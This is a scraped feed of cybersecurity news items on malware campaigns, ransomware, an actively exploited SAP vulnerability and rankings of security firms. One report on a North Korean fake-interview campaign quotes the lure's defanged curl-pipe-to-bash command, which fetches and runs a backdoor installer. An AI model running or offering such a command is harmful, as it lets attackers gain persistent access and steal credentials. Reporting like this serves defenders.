-
The threat actor behind the malware-as-a-service (MaaS) framework and loader called CastleLoader has also developed a remote access trojan known as CastleRAT. “Available in both Python and C variants, CastleRAT’s core functionality consists of collecting system information, downloading and executing additional payloads, and executing commands via CMD and PowerShell,” Recorded Future Insikt Group
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
The year 2025 has unfolded in an environment marked by eroding trust in vulnerability databases, an explosive growth in cyberattacks, and digital overload for businesses. Data breaches have become routine, the number of CVEs continues to break records, and traditional defense approaches no longer work. Cybersecurity expert Ilia Dubov, Head of Information Security and Compliance […]
The post Cybersecurity Landscape 2025 Amid Record Vulnerabilities, Infrastructure Breakdown, and Growing Digital Risks appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
Over the past year, cybersecurity researchers have observed a surge in activity from North Korean threat actors leveraging military-grade social engineering techniques to target professionals in the cryptocurrency industry.
This campaign, dubbed Contagious Interview, employs a deceptively benign job-application process that masks the delivery of sophisticated malware.
Victims receive invitations to participate in mock assessments for roles at fictitious firms, only to be lured into executing malicious scripts.
The attackers maintain a vast network of infrastructure, rapidly replacing compromised domains and servers to evade takedowns and sustain high levels of engagement.
Early in 2025, the adversaries began registering domains with names such as skillquestions[.]com and talentcheck[.]pro, setting up lure websites that prompt candidates to run shell commands under the guise of troubleshooting errors.
During the assessment, an on-page error appears—typically a camera-access prompt—which directs victims to paste a curl command in their terminal.
This simple payload download step quickly escalates to a full compromise, as the malware establishes persistent access and exfiltrates credentials.
The careful orchestration of these steps combined with tailored domain names has led to over 230 confirmed victim engagements within a three-month period.
SentinelLABS analysts noted that these operations are underpinned by continuous monitoring of threat intelligence platforms such as Validin and VirusTotal.
By registering community accounts shortly after new Indicators of Compromise (IOCs) are published in repositories like Maltrail’s apt_lazarus[.]txt, the adversaries ensure they have the latest insights into their own infrastructure exposure.
Rather than investing in comprehensive modifications to existing assets, they opt to spin up entirely new servers whenever a domain faces disruption.
This strategic choice favors operational agility over fortress-style defenses, enabling the actors to stay one step ahead of takedown requests.
SentinelLABS researchers identified that the infrastructure replacement cycle is measured in hours rather than weeks.
When a service provider disables a domain, the threat actors immediately provision a fresh domain, migrate their malware distribution servers, and update command-and-control endpoints.
%20tracked%20as%20maintainer%20of%20cors-app%20and%20cors-parser%20(Source%20-%20Setinelone).webp)
The liambrooksman persona (brooksliam534[@]gmail.com) tracked as maintainer of cors-app and cors-parser (Source – Setinelone) Behind the scenes, coordination occurs through team collaboration platforms like Slack, where automated bots post summaries of new domains, and individual operators click through these previews in rapid succession.
Infection Mechanism
At the heart of the Contagious Interview campaign lies a minimalist yet effective infection mechanism.
Upon visiting the lure site, targets encounter a JavaScript-powered form that simulates a live coding assessment.
When they trigger the fabricated error, the page displays a terminal command:-
curl - s https[:]//api[.]drive-release[.]cloud/update[.]sh | bashExecuting this command fetches a shell script that performs environment checks, detects the victim’s operating system, and downloads a tailored payload.
The script then installs a lightweight backdoor, writes a cron entry for persistence, and communicates with the actor-controlled C2 server over HTTPS to register the compromised host.
All stages are logged by the ContagiousDrop Node[.]js application on the server, creating detailed victimology records in JSON files such as client_ips_start_test[.]json.
.webp)
Logging to client_ips_start_test[.]json (Source – Setinelone) This blend of social engineering and automated scripting maximizes infection rates while minimizing developer effort, reflecting a maturation of DPRK offensive capabilities.
Through these adaptive tactics—rapid infrastructure turnover, intelligence-driven asset scouting, and streamlined payload delivery—North Korean threat actors continue to pose a dynamic and persistent threat.
As defenders strengthen detection protocols, understanding this infection mechanism remains crucial in disrupting the attack chain before initial contact.
Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.The post North Korean Threat Actors Reveal Their Tactics in Replacing Infrastructure With New Assets appeared first on Cyber Security News.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
SafePay, an emerging ransomware group, has rapidly ascended from obscurity to notoriety in 2025. In June alone, the group claimed responsibility for attacks on 73 organizations, topping Bitdefender’s Threat Debrief rankings for the month. July saw another surge, with 42 victims added to its toll. With more than 270 claimed victims to date this year, […]
The post SafePay Ransomware Hits 73 Organizations in Just One Month appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
A sophisticated threat actor, TAG-150, active since at least March 2025. Characterized by rapid malware development, technical sophistication, and a sprawling multi-tiered infrastructure, TAG-150 has deployed several self-developed families—CastleLoader, CastleBot, and most recently CastleRAT—targeting organizations via phishing campaigns and fraudulent repositories. TAG-150 first surfaced with CastleLoader, a loader that delivers a diverse set of follow-on […]
The post TAG-150 Hackers Escalate Attacks with Proprietary Malware Families appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
In 2025, internal network penetration testing is more crucial than ever. While external defenses are often the focus, a single compromised credential or an employee falling for a sophisticated social engineering attack can grant an adversary a foothold inside your network.
An internal network pentest simulates a hacker who has already gained access, testing the effectiveness of your internal segmentation, access controls, and detection and response capabilities.
The internal network is often where an attacker moves to escalate privileges, discover sensitive data, and exfiltrate information.
Without an internal penetration test, organizations are left blind to a critical phase of the attack kill chain. These assessments are essential for:
- Validating a Zero Trust Model: Verifying that your internal network is segmented and that access is strictly controlled, even from within.
- Identifying Lateral Movement Paths: Discovering how an attacker could move from a single compromised host to critical assets.
- Testing Incident Response (IR) Capabilities: Measuring how quickly your internal security team can detect and respond to an in-progress breach.
How We Choose Best Internal Network Penetration Testing companies
We selected the top internal network penetration testing companies for 2025 based on three key criteria:
- Experience & Expertise (E-E): Firms with a proven track record, deep knowledge of the latest internal attack vectors (e.g., AD abuse, privilege escalation), and a history of contributing to offensive security research.
- Authoritativeness & Trustworthiness (A-T): Companies with a strong market reputation, high ratings from industry analysts, and a team of highly certified and respected professionals.
- Feature-Richness: Providers that offer comprehensive services, including objective-based testing, actionable reporting, and flexible engagement models.
Comparison Of Key Features in 2025
Company Objective-Based Testing Red Team Expertise Compliance Focus Flexible Reporting Bishop Fox 
Yes Yes
No YesNCC Group Yes Yes Yes YesNetSPI Yes Yes Yes YesCoalfire Yes Yes Yes YesIOActive Yes Yes No YesMDSec Yes Yes No YesPraetorian Yes Yes No YesTrustedSec Yes Yes Yes YesOffensive Security Yes Yes No YesKroll Yes Yes Yes Yes1. Bishop Fox
.webp)
Bishop Fox Bishop Fox is a premier offensive security firm, renowned for its technical expertise and creative approach to internal network penetration testing.
Their team of “ethical hackers” goes beyond automated scans to find complex vulnerabilities, especially in Active Directory and on-premises infrastructure.
They are trusted by Fortune 100 companies to provide deep, hands-on assessments that uncover real-world attack paths.
Why You Want to Buy It:
Bishop Fox’s expertise is unparalleled. They don’t just find vulnerabilities; they demonstrate the real-world impact by chaining them together to achieve specific objectives, such as compromising a domain controller.
Feature Yes/No Specification Objective-Based YesFocus on achieving specific goals like compromising a critical server. Red Team Expertise YesOne of the most respected red teaming firms in the industry. Compliance Focus NoFocus is on real-world risk, not just compliance. Flexible Reporting YesProvides both executive and in-depth technical reports. Best For: Large enterprises with complex on-premises and hybrid environments that need a highly customized, technical deep-dive assessment from a world-class team.Try Bishop Fox here → Bishop Fox Official Website2. NCC Group
.webp)
NCC Group NCC Group is a global leader in cybersecurity and risk mitigation, with a strong presence in internal network penetration testing.
Their team of certified and highly experienced professionals offers a comprehensive approach, from vulnerability identification to deep-dive attack simulations.
NCC Group is well-regarded for its adherence to a wide range of regulatory frameworks, making it a reliable choice for compliance-driven organizations.
Why You Want to Buy It:
NCC Group’s reputation for technical excellence and its focus on helping clients meet stringent compliance requirements make it a safe and reliable choice for businesses in regulated industries.
Feature Yes/No Specification Objective-Based YesDesigns tests to achieve specific client objectives. Red Team Expertise YesA leader in red teaming and adversarial simulation. Compliance Focus YesExtensive experience with PCI, GDPR, and other frameworks. Flexible Reporting YesProvides clear, actionable reports for different audiences. Best For: Global organizations that need a trusted partner with deep expertise in technical assurance and a strong track record of compliance-focused testing.Try NCC Group here → NCC Group Official Website3. NetSPI
.webp)
NetSPI NetSPI is a pioneer in Penetration Testing as a Service (PTaaS), and its internal network testing services are a core part of this platform.
NetSPI’s team of in-house experts uses a blend of manual and automated techniques to provide a continuous and scalable approach to internal pentesting.
Their platform, Resolve, provides real-time visibility into findings, making it easy to track, manage, and remediate vulnerabilities.
Why You Want to Buy It:
NetSPI’s PTaaS model allows for a more efficient and collaborative testing process. Instead of a one-off report, you get continuous insights and a centralized platform to manage all your vulnerabilities.
Feature Yes/No Specification Objective-Based YesDesigns tests to simulate real-world attacks. Red Team Expertise YesOffers a full suite of red team and adversary simulation services. Compliance Focus YesSupports PCI, SOC 2, and HIPAA compliance. Flexible Reporting YesReal-time findings and reporting via the Resolve platform. Best For: Enterprises that need a scalable, continuous, and platform-driven approach to security testing across various domains.Try NetSPI here → NetSPI Official Website4. Coalfire
.webp)
Coalfire Coalfire is a cybersecurity firm with a strong focus on compliance and security assessments.
Their internal network penetration testing services are often performed to help organizations meet stringent regulatory requirements like FedRAMP, PCI, and SOC 2.
Coalfire’s experts combine a deep understanding of compliance frameworks with an attacker’s mindset to ensure that both technical and regulatory standards are met.
Why You Want to Buy It:
Coalfire’s deep expertise in compliance and its history of working with federal and highly-regulated clients make it an ideal partner for businesses that need to demonstrate their internal network security posture to auditors and regulators.
Feature Yes/No Specification Objective-Based YesAims to uncover vulnerabilities that pose a real-world threat. Red Team Expertise YesOffers adversary emulation and red teaming. Compliance Focus YesA leader in FedRAMP, PCI, and SOC 2 compliance. Flexible Reporting YesProvides reports tailored for compliance audits. Best For: Organizations in highly regulated industries that need a cloud penetration test that meets strict compliance standards.Try Coalfire here → Coalfire Official Website5. IOActive
.webp)
IOActive IOActive is a highly respected, research-led security firm known for its deep technical expertise and its ability to uncover complex vulnerabilities that others miss.
Their internal network penetration testing services go beyond standard checks to focus on finding sophisticated attack vectors.
IOActive’s team is often behind the discovery of high-profile vulnerabilities in industrial control systems and other critical infrastructure.
Why You Want to Buy It:
IOActive’s reputation is built on its research-driven approach. They don’t just run tools; they analyze your environment with a creative and adversarial mindset, often discovering zero-day vulnerabilities in the process.
Feature Yes/No Specification Objective-Based YesFocused on finding exploitable vulnerabilities and attack paths. Red Team Expertise YesTeam has a strong track record of discovering and responsibly disclosing vulnerabilities. Compliance Focus NoFocus is on deep technical analysis, not just compliance. Flexible Reporting YesDetailed reports with clear, technical findings. Best For: Companies with complex or unique internal networks, such as those in manufacturing, aerospace, or critical infrastructure.Try IOActive here → IOActive Official Website6. MDSec
.webp)
MDSec MDSec is a specialist in offensive security and is well-known for its deep technical expertise and contributions to the security community.
Their internal network penetration testing services are renowned for their thoroughness, with a particular focus on Active Directory security and complex privilege escalation techniques.
MDSec’s team is composed of some of the industry’s most respected professionals, and their work is often featured at top-tier conferences like Black Hat and DEF CON.
Why You Want to Buy It:
MDSec’s team is at the forefront of offensive security research.
Their expertise ensures that you’re not just getting a standard assessment, but a deep-dive analysis from a team that understands the latest attack techniques.
Feature Yes/No Specification Objective-Based YesTailors tests to find the most critical attack paths. Red Team Expertise YesA leader in red teaming and Active Directory security. Compliance Focus NoFocuses on technical security and research. Flexible Reporting YesProvides detailed technical reports and findings. Best For: Security teams that need a highly technical and thorough assessment of their internal network, especially for complex Active Directory environments.Try MDSec here → MDSec Official Website7. Praetorian
.webp)
Praetorian Praetorian is an offensive security company that provides expert-led internal network penetration testing services.
Their methodology goes beyond compliance, focusing on identifying material risks that could lead to a real-world breach.
Praetorian’s team works with clients to understand their business context and prioritize vulnerabilities based on their true impact, providing clear and actionable remediation guidance.
Why You Want to Buy It:
Praetorian’s focus on Continuous Threat Exposure Management (CTEM) ensures that their assessments are not just a point-in-time snapshot.
Their deep technical expertise and focus on the most critical risks make them an ideal partner for securing high-value assets.
Feature Yes/No Specification Objective-Based YesFocuses on achieving specific, real-world objectives. Red Team Expertise YesOffers a full suite of red team and adversarial services. Compliance Focus NoAligns with business risk, not just compliance. Flexible Reporting YesProvides reports that prioritize vulnerabilities based on business risk. Best For: Companies that want a strategic partner for offensive security, focusing on real-world risk reduction rather than just compliance.Try Praetorian here → Praetorian Official Website8. TrustedSec
.webp)
TrustedSec TrustedSec is a highly regarded cybersecurity consulting firm known for its expert-led, hands-on penetration testing services.
Their approach to internal network security is highly customized, with consultants simulating real-world cyberattacks on a client’s environment.
TrustedSec is renowned for its detailed reporting and a strong focus on providing clear, prioritized remediation guidance.
Why You Want to Buy It:
TrustedSec’s reputation is built on the expertise of its consultants.
If you want a thorough, hands-on assessment from a firm that prioritizes a deep understanding of your unique environment, TrustedSec is an excellent choice.
Feature Yes/No Specification Objective-Based YesDesigns tests to achieve specific client goals. Red Team Expertise YesA well-known name in the offensive security community. Compliance Focus YesAssists with compliance for PCI, HIPAA, and SOC 2. Flexible Reporting YesDetailed, technical reports with clear remediation advice. Best For: Companies that value a personalized, hands-on service from a team of highly-skilled and ethical hackers.Try TrustedSec here → TrustedSec Official Website9. Offensive Security
.webp)
Offensive Security Offensive Security is a name synonymous with penetration testing. While best known for its Kali Linux and certifications like the OSCP, its professional services division offers expert-led internal network penetration testing.
The OffSec Services team is composed of highly skilled and experienced ethical hackers who can conduct complex and comprehensive assessments to uncover critical vulnerabilities.
Why You Want to Buy It:
When you hire Offensive Security, you’re getting a team that has trained a generation of hackers.
Their approach is rooted in real-world techniques and methodologies, ensuring a comprehensive and highly technical assessment.
Feature Yes/No Specification Objective-Based YesTests are designed to achieve specific goals. Red Team Expertise YesThe company is a leader in offensive security training and methodology. Compliance Focus NoFocus is on technical security and vulnerability discovery. Flexible Reporting YesProvides detailed technical findings and recommendations. Best For: Organizations that want to work with the pioneers of offensive security and leverage the deep, technical expertise of a team that lives and breathes hacking.Try Offensive Security here → Offensive Security Official Website10. Kroll
.webp)
Kroll Kroll is a global leader in risk and financial advisory services, with a robust cybersecurity practice. Their internal network penetration testing services are backed by a unique advantage: insights from their front-line incident response and threat intelligence teams.
This allows Kroll’s testers to simulate the most current and relevant attack techniques, providing a highly realistic assessment of an organization’s internal defenses.
Why You Want to Buy It:
Kroll’s experience responding to thousands of cyber incidents gives it a unique advantage.
Their penetration tests are informed by real-world data on what attackers are actually doing, making their assessments highly realistic and relevant.
Feature Yes/No Specification Objective-Based YesTests are guided by real-world threat intelligence. Red Team Expertise YesBacked by a strong incident response and threat intelligence practice. Compliance Focus YesCan help with compliance for various frameworks. Flexible Reporting YesProvides clear, objective-driven reports. Best For: Companies that need a comprehensive security assessment that is informed by the latest threat intelligence and real-world breach data.Try Kroll here → Kroll Official WebsiteConclusion
In 2025, internal network penetration testing is a non-negotiable part of a mature cybersecurity program. While firewalls and endpoint security are important, a single misconfiguration or compromised credential can render them useless. The top companies on this list each offer a unique value proposition.
Firms like Bishop Fox, MDSec, and Offensive Security provide deep, research-backed technical expertise. In contrast, those like NetSPI, Kroll, and Coalfire offer a blend of technical skill and a platform-driven or compliance-focused approach.
Choosing the right partner depends on your organization’s specific needs, whether you’re a highly regulated enterprise, a fast-moving tech company, or a business with a complex hybrid environment.
The post 10 Best Internal Network Penetration Testing Companies in 2025 appeared first on Cyber Security News.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
A marked escalation in the abuse of ConnectWise ScreenConnect installers since March 2025, with U.S.-based businesses bearing the brunt of these incursions. Adversaries are now deploying lightweight ClickOnce runner installers—devoid of embedded configurations—to evade static detection, fetching malicious components at runtime. Post-installation, attackers automate the rapid deployment of two distinct remote access trojans (RATs): the […]
The post Threat Actors Exploit ScreenConnect Installers for Initial Access appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
A critical vulnerability in SAP S/4HANA is being actively exploited in the wild, allowing attackers with low-level user access to gain complete control over affected systems.
The vulnerability, tracked as CVE-2025-42957, carries a CVSS score of 9.9 out of 10, signaling a severe and imminent threat to organizations running all releases of S/4HANA, both on-premise and in private clouds.
The flaw was discovered by researchers at SecurityBridge Threat Research Labs, who have now verified that malicious actors are already using it.
SAP released a patch on August 11, 2025, and experts are urging all customers to apply the security updates immediately.
SAP S/4HANA Vulnerability Actively Exploited
Successful exploitation of this ABAP code injection vulnerability grants an attacker full administrative privileges. This allows them to access the underlying operating system and gain complete control over all data within the SAP system.
The consequences are dire and can include the theft of sensitive business information, financial fraud, espionage, or the deployment of ransomware.
An attacker could delete or insert data directly into the database, create new administrator accounts with SAP_ALL privileges, download password hashes, and modify core business processes with minimal effort.
What makes CVE-2025-42957 particularly dangerous is its low attack complexity. An attacker only needs access to a low-privileged user account, which could be obtained through phishing or other common methods.
From there, they can exploit the flaw over the network without any user interaction, escalating their privileges to achieve a full system compromise.
SecurityBridge, which responsibly disclosed the vulnerability to SAP on June 27, 2025, warns that unpatched systems are exposed to immediate risk.
Because SAP’s ABAP code is open, reverse engineering the patch to create a working exploit is a relatively simple task for skilled attackers.
Mitigations
Security experts have issued clear guidance for organizations to protect themselves:
- Patch Immediately: Apply SAP’s August 2025 security updates, specifically SAP Notes 3627998 and 3633838, without delay.
- Review Access: Restrict access to the S_DMIS authorization object and consider implementing SAP UCON to limit RFC usage.
- Monitor System Logs: Actively watch for suspicious RFC calls, the creation of new high-privilege users, or unexpected changes to ABAP code.
- Harden Defenses: Ensure robust system segmentation, regular backups, and SAP-specific security monitoring solutions are in place to detect and respond to attacks.
Find this Story Interesting! Follow us on Google News, LinkedIn, and X to Get More Instant Updates.
The post Critical SAP S/4HANA Vulnerability Actively Exploited to Fully Compromise Your SAP System appeared first on Cyber Security News.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
Attack Surface Management (ASM) is a proactive cybersecurity discipline that helps organizations identify, analyze, and remediate all of their internet-facing assets and potential vulnerabilities. It goes beyond traditional vulnerability scanning to find and continuously monitor unknown or unmanaged assets, such as rogue cloud instances, misconfigured APIs, and shadow IT, that attackers use as entry points. […]
The post 10 Best Attack Surface Management (ASM) Companies in 2025 appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
A critical security flaw in SAP S/4HANA, tracked as CVE-2025-42957, is being actively exploited by attackers, according to research from SecurityBridge. The vulnerability, which carries a CVSS score of 9.9 out of 10, allows a low-privileged user to execute code injection and gain full control of an SAP system. Organizations running SAP S/4HANA on-premise or […]
The post Critical SAP S/4HANA Vulnerability Actively Exploited, Allowing Full System Takeover appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
